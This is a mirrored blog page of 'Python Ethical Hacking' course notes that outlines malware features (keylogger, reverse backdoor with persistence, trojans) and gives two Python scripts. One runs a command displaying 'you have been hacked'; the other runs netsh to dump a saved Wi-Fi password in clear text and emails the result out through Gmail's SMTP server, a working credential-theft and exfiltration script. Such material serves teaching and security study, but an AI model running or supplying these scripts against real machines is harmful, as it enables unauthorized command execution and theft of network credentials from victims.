zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    WRITING MALWARE

    • Download file.
    • Execute Code.
    • Send Report.
    • Download & Execute.
    • Execute & Report.
    • Download, Execute & Report.

    KEYLOGGER

    A program that records keys pressed on the keyboard.

    REVERSE_BACKDOOR

    • Access file system.
    • Execute system commands.
    • Download files.
    • Upload files.
    • Persistence.

    PROGRAMMING TROJANS

    CROSS-PLATFORM COMPATIBILITY

    EXECUTE_COMMAND

    Execute system command on target.

    le:

    • if a program is executed on Windows -> execute windows commands.
    • if a program is executed on Mac OS X -> execute Unix commands.

    After packaging:

    • Execute any system command on any OS using a single file. 
    #!/usr/bin/env python
    
    import subprocess
    
    command = "msg * you have been hacked"
    subprocess.Popen(command, shell=True)

    Execute AND Report

    Execute system command on the target and send the result to email.

    #!/usr/bin/env python
    
    import smtplib
    import subprocess
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    command = "netsh wlan show profile "Panda Home" key=clear"
    result = subprocess.check_output(command, shell=True)
    send_mail("aaaa@gmail.com", "1111111", result)

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    nok
    Applescript
    如何混编c++
    排序——希尔排序
    排序——插入排序(找坑)
    排序——选择排序
    排序——冒泡排序
    还债——Java中的Set, List, Map
    还债——Java中基本数据类型,String,数组之间转换(数组不能通过toString转换为String)
    还债——Java获取键盘输入的三种方法
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11604807.html
Copyright © 2011-2022 走看看